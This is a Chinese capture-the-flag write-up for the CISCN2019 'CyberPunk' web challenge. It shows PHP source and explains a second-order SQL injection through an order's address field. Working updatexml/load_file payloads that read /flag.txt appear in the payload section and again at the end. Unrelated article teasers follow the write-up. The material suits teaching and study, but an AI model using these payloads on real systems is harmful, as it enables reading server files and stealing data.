BUUCTF_练[CISCN2019 华北赛区 Day1 Web5]CyberPunk

news2024/9/20 6:42:17

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

文章目录

      • [CISCN2019 华北赛区 Day1 Web5]CyberPunk
      • 掌握知识
      • 解题思路
        • 代码分析
        • paylaod的构建
        • 正式解题
      • 关键paylaod

掌握知识

php伪协议读取文件;源码泄露hint ;代码审计 发现二次注入点;SQL语句的二次注入和报错注入结合使用。报错注入进行文件读取操作;substr函数配合报错注入输出固定长度和范围的数据

解题思路

  1. 打开题目链接,发现是购买东西的,发现每个界面都有输入框,感觉SQL注入没跑了,查看一下源码,发现有hint,提示file=这不妥妥的文件包含么,包含flag没有,只能伪协议读取index.php

image-20231002235615342

image-20231002235508021

  1. 解密出来也没发现什么,也尝试包含了很多文件也未果,只能去包含靶场能看到的三个文件了,解密后发现了config.php文件,查看其内容后发现是数据库配置。再加上每个界面SQL语句过滤和nosql漏洞 那更加确定就是SQL注入了

image-20231002235715077

image-20231002235718571

  1. 对每个页面的代码进行审计,关键点在两个网页上,一个是订单提交页面,一个是订单修改页面。代码审计发现,waf对于用户名和电话过滤很严格,但是对于地址几乎可以说不过滤。提交订单的后端代码,就没有对地址提交的数据进行任何过滤直接保存到数据库中。在更改信息的界面,又将前面保存在数据库中的地址信息直接拼接到数据库更新语句中,很明显存在二次注入。
<?php
//confirm.php
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

//change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

代码分析
  1. 对关键的代码进行分析,下面是订单提交的代码,并没有对地址信息进行任何过滤,直接将其存入到了数据库当中
    $address = $_POST["address"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone))
     $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
  1. 下面是订单修改的代码,虽然对输入的订单信息进行了一点小过滤,但是关键点不在这里,下面的数据库更新语句没有对之前存入的数据进行过滤,直接进行拼接到了SQL语句上,很显然的二次注入利用。
$address = addslashes($_POST["address"]);
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
paylaod的构建
  1. 整体的利用思想就是构造好paylaod,在订单提交界面传给地址保存到数据库,在修改订单信息,将传入的paylaod拼接到SQL语句中,进行恶意利用执行

  2. 由于是数据库的更新语句,所以只好利用报错注入了。因为借助了wp,所以看都是直接使用load_file读取的flag文件,所以也就没有尝试报错注入数据库中的数据了

  3. 编写相应的paylaod,由于报错注入返回长度有限,需要借助substr mid等函数的截断输出,控制输出的长度和范围

1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30))),1)#
1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60))),1)#
正式解题
  1. 按照前面分析的思路,先填写好订单信息,将paylaod填写到地址栏,提交之后进行更改订单信息,输入正确的用户名和电话才能得到传入的paylaod。提交之后就会弹出前半段的flag

image-20231030190023053

image-20231030190034897

image-20231030190046981

  1. 获取后半段的flag需要再重新创建一个订单信息,步骤和上面一样,就能返回后半段的flag

image-20231030190150034

image-20231030190158460

image-20231030190205544

关键paylaod

1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30))),1)#
1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60))),1)#

$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1153820.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

配置文件草稿

SpringBoot配置文件是用来保存SpringBoot项目当中所有重要的数据的&#xff0c;比如说数据库连接信息&#xff0c;数据库的启动端口&#xff0c;如果端口被占用了&#xff0c;那么就可以随时修改&#xff1b; 1)比如说我们之前再写JDBC的代码的时候&#xff0c;要去写链接字符串…

Figma怎么用?看这篇最全攻略,用完回不去了!

Figma是什么&#xff1f;设计师朋友们一定不会陌生&#xff0c;它以轻体量、高设计效率、超强协作性以及设计和开发一体化等特点风靡一时&#xff0c;在全球的数字产品设计领域范围内崭露头角&#xff0c;得到海量用户和无数企业的认可和选择&#xff08;真棒啊&#xff09;。 …

成绩不公开,如何发成绩

亲爱的老师们&#xff0c;有没有在学期中疯狂整理成绩单&#xff0c;又担心成绩私发引起混乱的烦恼&#xff1f;今天就让我们一起探索如何利用各种工具和代码&#xff0c;实现学生自主查询成绩的便捷方式吧&#xff01; 成绩查询系统简介 成绩查询系统是一款方便学生和老师查询…

自主查询成绩

今天我们来揭秘如何制作成绩查询系统&#xff0c;让学生可以自行查看成绩&#xff01; 成绩查询系统可以帮助学生和老师轻松管理、发布、查看成绩。无论是期中考试、期末考试&#xff0c;作业查询还是平时的课堂表现&#xff0c;都可以通过成绩查询系统来及时掌握。 让我们一起…

双十一限时优惠!沃通SSL证书、代码签名证书年度好价

2023年11月01日至11月11日&#xff0c;沃通2023“双十一限时特惠”活动&#xff0c;精选9款SSL证书、国密SSL证书、代码签名证书产品推出年度好价&#xff0c;部分SSL证书产品低至5折&#xff0c;更有EV代码签名证书爆款特惠&#xff01;多种数字证书一站式采购&#xff0c;解决…

京东数据分析:2023年9月京东饮料行业品牌销售排行榜

鲸参谋监测的京东平台9月份饮料市场销售数据已出炉&#xff01; 9月份&#xff0c;京东饮料市场整体销售下滑。鲸参谋数据显示&#xff0c;今年9月&#xff0c;京东平台饮料市场的销量将近750万&#xff0c;环比降低约9%&#xff0c;同比降低约12%&#xff1b;销售额约4.4亿&am…

外网远程登录之 NAT server

案例&#xff1a; 外网远程登录内网SW&#xff1a; 需求 1.内网的PC都可以访问Server1 2.外网的R2可以远程登录SW1&#xff0c; 用户名和密码是&#xff1a;HCIE/hehe 需求 1.内网的PC都可以访问Server1 2.外网的R2可以远程登录SW1&#xff0c; 用户名和密码是&#xff1a;HCI…

腾讯云优惠券如何领取?详细教程来了!

腾讯云优惠券是腾讯云为广大用户提供的优惠福利&#xff0c;包括代金券和折扣券&#xff0c;大家可以通过领取优惠券&#xff0c;在购买腾讯云产品时享受优惠。本文将为大家介绍如何领取腾讯云优惠券&#xff0c;以及领取后的使用规则。 一、腾讯云优惠券领取方法 腾讯云优惠券…

2022最新版-李宏毅机器学习深度学习课程-P32 Transformer

一、 seq2seq 1. 含义 输入一个序列&#xff0c;机器输出另一个序列&#xff0c;输出序列长度由机器决定。 文本翻译&#xff1a;文本至文本&#xff1b;  语音识别&#xff1a;语音至文本&#xff1b;  语音合成&#xff1a;文本至语音&#xff1b;  聊天机器人&#…

window11最新版终于可以取消任务栏合并了

windows11一个软件开了多个窗口之后&#xff0c;会自动合并任务栏&#xff0c;很不方便选择其中一个窗口&#xff0c;且没有选项能关闭这一配置 今日发现&#xff0c;最新版完善了这一功能&#xff0c;现在可以关闭自动合并任务栏了 右击任务栏&#xff0c;选择任务栏设置选择…

518抽奖软件,奖项相互穿插抽奖的方法

518抽奖软件简介 518抽奖软件&#xff0c;518我要发&#xff0c;超好用的年会抽奖软件&#xff0c;简约设计风格。 包含文字号码抽奖、照片抽奖两种模式&#xff0c;支持姓名抽奖、号码抽奖、数字抽奖、照片抽奖。(www.518cj.net) 奖项穿插的方法 比如公司年会&#xff0c;共…

程序员如何提高自己的代码能力呢?

前言 程序员如何提高代码能力&#xff1f;个人认为代码能力比较强的程序员应该具备良好的编码习惯并可以输出高质量的代码实现的特征。那么程序员如何提高代码能力的问题&#xff0c;就变成了怎么才能成为一个具备良好编码习惯并可以输出高质量代码实现的程序员。其实很简单&am…

打造智慧矿山-触觉智能软通动力强强联合,助力矿鸿生态

2023年10月25-28日&#xff0c;两年一度的中国国际煤炭采矿技术交流及设备展览会在首都北京隆重召开&#xff0c;本届大会以“智能引领未来&#xff0c;绿色共享发展”为主题&#xff0c;作为国内煤炭行业的顶级盛会&#xff0c;由中国煤炭工业协会牵头举办的这次展出吸引了全世…

美术培训服务预约小程序的作用是什么

线下培训教育机构很多&#xff0c;涉及到的行业及种类很多&#xff0c;美术培训就是其中较为重要的一类&#xff0c;尤其是青少年群体&#xff0c;其拓展度很深&#xff0c;而对商家来说&#xff0c;其主要生源在本地同城&#xff0c;因此品牌宣传和渠道发展、学员赋能很重要。…

同花顺滑块

要是不去尝试就先放弃&#xff0c;我会对自己很失望。 网址&#xff1a;https://upass.10jqka.com.cn/login太无聊了&#xff0c;学了一下&#xff0c;验证码全是明文&#xff0c;没啥加密的。 这个都没啥可以说的&#xff0c;然后的话就没然后了 。 好心人留下源码&#xff1…

使用 docker-compose 部署 SpringBoot 项目 nginx 部署前端

安装 Docker 自动下载 curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun检查是否安装成功 docker -v配置镜像仓库 更换镜像加速器&#xff08;推荐阿里云&#xff09; 容器镜像服务 (aliyun.com) 扫码登录后找到镜像仓库 每个人都不同&#xff0c;复…

基于深度学习的人脸识别系统 计算机竞赛

前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 基于深度学习的人脸识别系统 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学长非常推荐&#xff01; &#x1f9ff; 更多资料, 项目分享&#xff1a; https://gitee.com/dancheng-senior/…

1.PPT高效初始化设置

1.PPT高效初始化设置 软件安装&#xff1a;Office 2019 主题和颜色 颜色可以在白天与黑夜切换&#xff0c;护眼 切换成了黑色 撤回次数 撤回次数太少&#xff0c;只有20次怎么办 自动保存 有时忘记保存就突然关闭&#xff0c;很需要一个自动保存功能 图片压缩 图片…

保姆级,Fiddler抓包辅助-抓取APP端数据包,看这篇就足够了...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 做接口测试的时候…

数据结构和算法——用C语言实现所有图状结构及相关算法

文章目录 前言图的基本概念图的存储方式邻接矩阵邻接表十字链表临界多重表 图的遍历最小生成树普里姆算法&#xff08;Prim&#xff09;克鲁斯卡尔算法&#xff08;Kruskal&#xff09; 最短路径BFS求最短路径迪杰斯特拉算法&#xff08;Dijkstra&#xff09;弗洛伊德算法&…